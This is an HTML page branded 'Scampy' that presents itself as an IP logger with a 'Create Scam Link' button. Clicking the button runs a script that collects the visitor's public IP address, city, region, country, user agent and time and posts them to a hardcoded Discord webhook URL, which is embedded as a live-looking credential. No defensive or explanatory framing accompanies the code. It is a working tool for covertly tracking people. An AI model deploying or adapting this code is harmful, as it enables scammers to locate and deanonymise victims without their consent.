<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IP Logger</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        h1 {
            margin-bottom: 20px;
        }
        button {
            background-color: #007BFF;
            color: white;
            border: none;
            border-radius: 25px;
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
            margin: 10px;
        }
        button:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <h1>Scampy</h1>
    <button id="createScamLink">Create Scam Link</button>
    <button id="aboutUs">About Us</button>

    <script>
        const webhookUrl = "https://discord.com/api/webhooks/1317535537984180294/-RsnnwoIBS0fCLi-KtXkLjtO5TVJ8xzkP738MSMr2PULsrYqfvw9eE-6xS2ojhkrouJY";

        async function logIP() {
            try {
                console.log("Fetching IP...");
                const ipResponse = await fetch("https://api.ipify.org?format=json");
                const ipData = await ipResponse.json();

                const locationResponse = await fetch(`https://ipwhois.app/json/${ipData.ip}`);
                const locationData = await locationResponse.json();

                const ip = ipData.ip;
                const date = new Date().toLocaleString("de-DE");
                const userAgent = navigator.userAgent;
                const city = locationData.city || "Unknown";
                const region = locationData.region || "Unknown";
                const country = locationData.country || "Unknown";

                const message = {
                    username: "IP Logger",
                    embeds: [
                        {
                            title: "New IP Logged",
                            color: 3447003,
                            fields: [
                                { name: "IP Address", value: ip, inline: false },
                                { name: "Date", value: date, inline: false },
                                { name: "User Agent", value: userAgent, inline: false },
                                { name: "City", value: city, inline: false },
                                { name: "Region", value: region, inline: false },
                                { name: "Country", value: country, inline: false }
                            ]
                        }
                    ]
                };

                console.log("Sending data to Discord...");
                await fetch(webhookUrl, {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json"
                    },
                    body: JSON.stringify(message)
                });

                alert("Information successfully sent!");
            } catch (error) {
                console.error("Error sending information:", error);
                alert("Failed to send information. Check the console for details.");
            }
        }

        document.getElementById("createScamLink").addEventListener("click", logIP);
        document.getElementById("aboutUs").addEventListener("click", () => {
            alert("Scampy v1.0: Your IP Logger Tool.");
        });
    </script>
</body>
</html>
